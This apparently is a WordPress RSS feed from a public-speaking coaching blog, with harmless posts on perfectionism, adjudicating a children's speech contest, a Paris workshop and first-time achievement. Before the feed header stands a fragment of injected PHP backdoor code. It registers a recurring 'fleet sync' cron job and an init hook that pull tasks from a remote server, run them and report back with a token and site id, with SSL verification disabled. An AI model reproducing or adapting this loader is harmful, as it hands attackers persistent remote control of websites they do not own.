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update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Personal development Archives - Now you're talking https://www.nowyouretalking.co.uk/tag/personal-development/ Public speaking Mon, 18 Mar 2019 12:18:57 +0000 en-GB hourly 1 https://wordpress.org/?v=7.1 Perfectionism – the curse of speakers https://www.nowyouretalking.co.uk/2019/03/18/perfectionism-the-curse-of-speakers/ Mon, 18 Mar 2019 11:49:56 +0000 https://www.nowyouretalking.co.uk/?p=849 Perfectionism is the curse of speakers and presenters and a challenge for managers. Worse, it’s on the rise. What kind of perfectionism plagues you? What kind of perfectionism gets in your way? Excellence-seeking perfectionism that makes you fixate on, and…

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]]> Perfectionism is the curse of speakers and presenters and a challenge for managers. Worse, it’s on the rise.

What kind of perfectionism plagues you?

What kind of perfectionism gets in your way? Excellence-seeking perfectionism that makes you fixate on, and demand, excessively high standards of yourself and others? Or failure-avoiding perfectionism that drives fear of losing people’s respect if you achieve anything less than perfection?

Perfectionism - Chimp and Human

The Silent Guides by Prof Steve Peters

According to Prof Steve Peters’ The Silent Guides, the Human (rational thinking part of the brain) sees perfectionism as ‘doing the best I can’. The Human aims for perfection, but accepts that we don’t often get perfection and can be proud of having tried our best.

In contrast, the Chimp (part of the brain that makes snap judgments based on emotions and gut instinct) demands that we achieve perfection and drives the sense of failure if we deliver anything less.

Connection not perfection

As speakers and presenters, perfectionism gets in the way. Seeking excellence can leave us fixating on, for instance, getting our words right or memorising our speech, while missing the opportunity to connect with our audience.

Failure avoidance can find us paralysed with fear of making a mistake. Again, at the cost of connection.

Any speaker ‘shortcomings’ should always take a back seat to connecting with, and moving, our audience so that we impact how they think, feel and act after experiencing our speech.

Perfectionism - Chimp and Human

The Silent Guides by Prof Steve Peters

To allow the possibility of connection overriding perfection, we need both our Chimp and our Human. Together, they can work to motivate us to do our best (Chimp) and subsequently accept that trying our best is good enough (Human).

 

 

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]]> Supporting tomorrow’s speakers today https://www.nowyouretalking.co.uk/2018/04/04/supporting-tomorrows-speakers-today/ Wed, 04 Apr 2018 10:28:45 +0000 https://www.nowyouretalking.co.uk/?p=461 Imagine being involved in a speech contest where many of the speakers do not even stand as high as your waist. Yet, these enthusiastic young people owned the stage and enthusiastically shared their stories and poems with an audience of…

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]]> Imagine being involved in a speech contest where many of the speakers do not even stand as high as your waist. Yet, these enthusiastic young people owned the stage and enthusiastically shared their stories and poems with an audience of supportive teachers, parents, family and friends, willing their children on.

Speech festival

What a privilege to adjudicate such a speaking contest, organised and run by iVerbalize at St James’ RC Primary in Petts Wood. The participants were children from the school. The youngest was in reception year. The oldest in Year 6, ie from about 4 to 10 years of age. In total, there were eight younger children and 13 older children throwing their hearts and minds into their delivery. Not only had they taken control of their nerves to do what so many adults find terrifying, they had also, in the main, written their own material.

As adjudicator, I saw my role as primarily supporting and encouraging such inspirational participants, while giving them some feedback to help them improve. My main suggestions focused on adopting a stable, confident stance, taking their time to compose themselves and trying to use their beautiful smiles while they talked. For the older contestants, we looked at tips around greater use of their voice and body language to reinforce their words. The children had lovely clear voices and generally maintained good eye contact – a tremendous skill when you’re nervous. I shared with them a tip to make sure their eye contact included everyone in the audience.

 ‘Ronke Kokoruwe, founder of iVerbalize said:

It was truly OUR privilege to have you with us. Thanks so much once again for taking the time out to inspire & encourage youngsters to be great!!! It is wonderful to have you as part of our iVerbalize journey! We would love to have you back as a returning adjudicator and will do our best to ensure the weather is so much better! A nice summer’s day just for you. 

Weather aside, it was, indeed, a wonderful day. Despite almost freezing alive to get there on a very cold and snowy Saturday in March, I left glowing with pride at what these young people had achieved. I sincerely hope they keep practising their speaking and enjoy the success it will help them achieve throughout their lives.

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]]> Now You’re Talking in Paris https://www.nowyouretalking.co.uk/2018/03/25/now-youre-talking-in-paris/ Sun, 25 Mar 2018 17:04:45 +0000 https://www.nowyouretalking.co.uk/?p=450 Just spent a wonderful few days at the University of London Institute in Paris, working with great students and staff on their speaking skills #publicspeaking #workshops #training #coaching #education #Paris. Thanks Tim Gore for the invitation

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]]> Just spent a wonderful few days at the University of London Institute in Paris, working with great students and staff on their speaking skills #publicspeaking #workshops #training #coaching #education #Paris. Thanks Tim Gore for the invitation

Sacre Coeur, Paris L'Arc de Triomphe, Paris Opera, Paris Invalides, Paris

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]]> The first time https://www.nowyouretalking.co.uk/2017/11/03/the-first-time/ Fri, 03 Nov 2017 13:46:32 +0000 https://www.nowyouretalking.co.uk/?p=289 This wasn’t the first photo I ever took, but it was the first photo I took after completing my first photography course.  Those frozen water droplets were deliberate.  I was so thrilled and excited, I even had the photo printed…

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]]> Fountain with frozen water

This wasn’t the first photo I ever took, but it was the first photo I took after completing my first photography course.  Those frozen water droplets were deliberate.  I was so thrilled and excited, I even had the photo printed onto canvass and, to this day, it hangs on my wall; never failing to make me smile.  I felt a mix of disbelief and the thrill of achievement.  Shallow depth of field, blurred background, water frozen in the moment.  For the first time in my life, I was in control of the camera, rather than the camera being in control of me.

Remember the first time you achieved something you really wanted to achieve.  It might have been taking a photo, diving into a swimming pool, cooking a cake, scoring a goal, running a 5K race, buying your first smartphone, or any number of other achievements.  Remember how you felt.

Exhilarated?  Thrilled?  Really pleased with yourself?  It may not have been perfect, this first attempt, and you may have had some thoughts about how to do it better next time.  But, overwhelmingly, there is a gargantuan sense of achievement, success, a feeling that you want to do it again and again and again.

It is those amazing feelings that we need to capture and trigger repeatedly whenever we take on a new challenge, such as public speaking.

Now think about the first time you spoke in public.  It may have been at work or perhaps a special occasion, a celebration?  It is supposed to be one of the activities we fear most.  What happens?  Shaking legs?  Shallow breathing?  Pounding heart?  Sweaty palms?

Over and above the symptoms of fear, though, some of your normal behaviours will almost certainly have kicked in too.  Things like ingrained mannerisms, pauses, gestures, smiles, vocal intonation, facial expressions.  I’m sure there are ways you could have done that speech better, just as you could improve on any other activity when you did it for the first time, but there are also innate or intuitive speaking skills you already possess.

There might have been a few too many ‘ers’ and ‘ums’, an opening of wasteful platitudes, a structure that could have been tighter and better signposted, a reluctance to make eye contact, a nervous posture, a tendency to talk at your audience, rather than engage and connect with them.

If you have not yet spoken in public, and you’re afraid, conjure up one of your other experiences of doing something successfully for the first time and remember how good it felt.  Unleash that positive memory.

Having faced the fear and felt the thrill of achievement, it is now time to work on improving those skills.  How do you put together content that is carefully crafted, not just thrown together?  This is when you need to understand your audience and focus your message, content, how you say it, structure, call to action, etc on their needs.

How do you work on your delivery to ensure it is dynamic, yet engaging, enriched with vocal variety and reinforcing body language?  How do you connect with your audience?  How do you use the stage, meaningfully and with purpose?

Speaking in public is likely to come to us all, eventually – at work, in meetings, at a wedding or other special occasion and so many other times.  Whether you are taking your first step into the world of public speaking for work or for personal reasons or refining your speaking skills, don’t struggle alone.  Get a coach, join a speaking club like Toastmasters International, work with your friends, family or colleagues.  So long as you are willing to make the effort, public speaking is a skill that can be learnt and polished.  Don’t forget to capture a good first-time feeling and enjoy your journey.

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